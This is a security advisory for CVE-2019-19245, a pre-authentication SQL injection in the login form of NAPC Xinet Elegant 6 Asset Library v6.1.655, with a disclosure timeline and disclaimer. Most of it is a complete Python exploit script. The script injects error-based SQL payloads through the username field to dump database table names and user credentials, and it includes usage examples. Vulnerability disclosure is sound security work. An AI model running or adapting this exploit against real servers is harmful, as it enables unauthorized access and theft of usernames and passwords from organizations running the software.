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[+] Credits: hyp3rlinx   
[+] Website: hyp3rlinx.altervista.org  
[+] Source: http://hyp3rlinx.altervista.org/advisories/NAPC-XINET-ELEGANT-6-ASSET-LIBRARY-WEB-INTERFACE-PRE-AUTH-SQL-INJECTION.txt  
[+] ISR: ApparitionSec   
  
  
[Vendor]  
www.napc.com  
  
  
[Product]  
Xinet Elegant 6 Asset Library Web Interface v6.1.655  
  
Web based interface for xinet asset management solution.  
  
  
[Vulnerability Type]  
Pre-Auth SQL Injection  
  
  
[CVE Reference]  
CVE-2019-19245  
  
  
[Security Issue]  
NAPC Xinet (interface) Elegant 6 Asset Library v6.1.655 allows Pre-Authentication Error based SQL Injection via the /elegant6/login LoginForm[username] field when  
double quotes are used. The vulnerable version seems to be old, but it may still be possible to still find it deployed as I have.  
  
Vulnerable Parameter: LoginForm[username] (POST) Method.  
  
  
[Exploit/POC]  
import requests,time,re,sys,argparse  
  
#NAPC Xinet Elegant 6 Asset Library v6.1.655  
#Pre-Auth SQL Injection 0day Exploit  
#By hyp3rlinx  
#ApparitionSec  
#==============  
#This will dump tables, usernames and passwords in vulnerable versions  
#REQUIRE PARAMS: LoginForm[password]=&LoginForm[rememberMe]=0&LoginForm[username]=SQL&yt0  
#SQL INJECTION VULN PARAM --> LoginForm[username]  
#================================================  
  
IP=""  
PORT="80"  
URL=""  
NUM_INJECTS=20  
k=1  
j=0  
TABLES=False  
CREDS=False  
SHOW_SQL_ERROR=False  
  
  
def vuln_ver_chk():  
global IP, PORT  
TARGET = "http://"+IP+":"+PORT+"/elegant6/login"  
response = requests.get(TARGET)  
if re.findall(r'\bElegant",appVersion:"6.1.655\b', response.content):  
print "[+] Found vulnerable NAPC Elegant 6 Asset Library version 6.1.655."  
return True  
print "[!] Version not vulnerable :("  
return False  
  
  
def sql_inject_request(SQL):  
  
global IP, PORT  
URL = "http://"+IP+":"+PORT+"/elegant6/login"  
  
tmp=""  
headers = {'User-Agent': 'Mozilla/5.0'}  
payload = {'LoginForm[password]':'1','LoginForm[rememberMe]':'0','LoginForm[username]':SQL}  
session = requests.Session()  
  
res = session.post(URL,headers=headers,data=payload)  
idx = res.content.find('CDbCommand') # Start of SQL Injection Error in response  
idx2 = res.content.find('key 1') # End of SQL Injection Error in response  
  
return res.content[idx : idx2+3]  
  
  
  
#Increments SQL LIMIT clause 0,1, 1,2, 1,3 etc  
def inc():  
global k,j  
while j < NUM_INJECTS:  
j+=1  
if k !=1:  
k+=1  
return str(j)+','+str(k)  
  
  
def tidy_up(results):  
global CREDS  
idx = results.find("'")  
if idx != -1:  
idx2 = results.rfind("'")  
if not CREDS:  
return results[idx + 1: idx2 -2]  
else:  
return results[idx + 2: idx2]  
  
  
  
def breach(i):  
global k,j,NUM_INJECTS,SHOW_SQL_ERROR  
result=""  
  
#Dump Usernames & Passwords  
if CREDS:  
if i % 2 == 0:  
target='username'  
else:  
target='password'  
  
SQL=('"and (select 1 from(select count(*),concat((select(select concat(0x2b,'+target+'))'  
'from user limit '+str(i)+', 1),floor(rand(0)*2))x from user group by x)a)-- -')  
  
if not SHOW_SQL_ERROR:  
result = tidy_up(sql_inject_request(SQL))  
else:  
result = sql_inject_request(SQL)+"\n"  
print "[+] Dumping "+target+": "+result  
  
#Dump Tables  
if TABLES:  
while j < NUM_INJECTS:  
nums = inc()  
SQL=('"and (select 1 from (Select count(*),Concat((select table_name from information_schema.tables where table_schema=database()'  
'limit '+nums+'),0x3a,floor(rand(0)*2))y from information_schema.tables group by y) x)-- -')  
  
if not SHOW_SQL_ERROR:  
result = tidy_up(sql_inject_request(SQL))  
else:  
result = sql_inject_request(SQL) + "\n"  
  
print "[+] Dumping Table... " +result  
time.sleep(0.3)  
  
  
  
def parse_args():  
parser = argparse.ArgumentParser()  
parser.add_argument("-i", "--ip_address", help="<TARGET-IP>.")  
parser.add_argument("-p", "--port", help="Port, Default is 80")  
parser.add_argument("-t", "--get_tables", nargs="?", const="1", help="Dump Database Tables.")  
parser.add_argument("-c", "--creds", nargs="?", const="1", help="Dump Database Credentials.")  
parser.add_argument("-m", "--max_injects", nargs="?", const="1", help="Max SQL Injection Attempts, Default is 20.")  
parser.add_argument("-s", "--show_sql_errors", nargs="?", const="1", help="Display SQL Errors, Default is Clean Dumps.")  
parser.add_argument("-e", "--examples", nargs="?", const="1", help="Show script usage.")  
return parser.parse_args()  
  
  
  
def usage():  
print "Dump first ten rows of usernames and passwords"   
print "NAPC-Elegant-6-SQL-Exploit.py -i <TARGET-IP> -c -m 10\n"  
print "\nDump first five rows of database tables and show SQL errors"   
print "NAPC-Elegant-6-SQL-Exploit.py -i <TARGET-IP> -t -m 5 -s\n"  
exit(0)  
  
  
def main(args):  
  
global TABLES,CREDS,URL,IP,NUM_INJECTS,SHOW_SQL_ERROR  
  
if args.ip_address:  
IP=args.ip_address  
  
if args.port:  
PORT=args.port  
  
if args.get_tables:  
TABLES=True  
  
if args.creds:  
CREDS=True  
  
if args.max_injects:  
NUM_INJECTS = int(args.max_injects)  
  
if args.show_sql_errors:  
SHOW_SQL_ERROR=True  
  
if args.examples:  
usage()  
  
if vuln_ver_chk():  
for i in range(0, NUM_INJECTS):  
breach(i)  
time.sleep(0.3)  
  
  
if __name__=='__main__':  
  
parser = argparse.ArgumentParser()  
  
print "NAPC Elegant 6 Asset Library v6.1.655"  
print "Pre-Authorization SQL Injection 0day Exploit"  
print "Discovery / eXploit By hyp3rlinx"  
print "ApparitionSec\n"  
  
time.sleep(0.5)  
  
if len(sys.argv)== 1:  
parser.print_help(sys.stderr)  
sys.exit(0)  
  
main(parse_args())  
  
  
  
[Network Access]  
Remote  
  
  
[POC Video URL]  
https://www.youtube.com/watch?v=mdw_sPlshmI  
  
  
[Severity]  
Critical  
  
  
[Disclosure Timeline]  
Vendor Notification: November 13, 2018  
Second attempt: October 12, 2019  
November 29, 2019 : Public Disclosure  
  
  
  
[+] Disclaimer  
The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise.  
Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and  
that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit  
is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility  
for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information  
or exploits by the author or elsewhere. All content (c).  
  
hyp3rlinx